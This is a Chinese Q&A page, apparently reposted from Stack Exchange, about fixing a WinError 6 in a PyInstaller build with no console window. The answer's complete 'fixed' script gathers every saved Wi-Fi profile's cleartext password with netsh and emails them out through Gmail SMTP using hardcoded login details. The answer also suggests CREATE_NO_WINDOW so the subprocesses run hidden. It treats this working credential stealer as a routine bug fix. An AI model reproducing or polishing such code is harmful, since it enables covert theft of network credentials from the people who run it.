PyInstaller打包无控制台Python程序触发WinError 6句柄无效求助
问题解决方案
报错根因
你使用
--noconsole参数打包后,程序无关联控制台窗口,Python进程的标准输入/输出/错误流无有效系统句柄,subprocess.check_output默认继承父进程流时找不到有效句柄,因此抛出WinError 6错误。
具体修复方案
- 第一步:修正所有
subprocess.check_output调用参数,显式重定向流避免继承无效句柄,同时指定编码适配Windows系统输出,同时修复原代码中smtplib.smtp的拼写错误(SMTP首字母需大写),完整修复后代码如下:
import subprocess import smtplib import re command1 = "netsh wlan show profile" # 新增参数重定向输入输出流,指定编码和text参数直接返回字符串 networks = subprocess.check_output( command1, shell=True, stdin=subprocess.DEVNULL, stderr=subprocess.DEVNULL, text=True, encoding='gbk' ) network_list = re.findall('(?:Profile\s*:\s)(.*)', networks) final_output = "" for network in network_list: command2 = f"netsh wlan show profile {network} key=clear" # 同样新增参数配置 one_network_result = subprocess.check_output( command2, shell=True, stdin=subprocess.DEVNULL, stderr=subprocess.DEVNULL, text=True, encoding='gbk' ) final_output += one_network_result # 不需要主动调用私有方法_cleanup,subprocess会自动清理子进程资源 # 修正smtp拼写错误,首字母需要大写 server = smtplib.SMTP("smtp.gmail.com", 587) server.starttls() server.login("stackoverflowtest@gmail.com", "pleaseplease") server.sendmail("stackoverflowtest@gmail.com","stackoverflowtest@gmail.com",final_output) server.quit() quit()
- 第二步:打包参数如果需要保留
--noconsole,可以额外给subprocess调用增加creationflags=subprocess.CREATE_NO_WINDOW参数,避免子进程弹出临时窗口。 - 第三步:如果修改后仍有异常,可先去掉
--noconsole参数打包测试功能是否正常,确认逻辑无误后再使用无窗口参数打包。
内容的提问来源于stack exchange,提问作者RDMotivation Krunklier
相关产品推荐
相关产品推荐

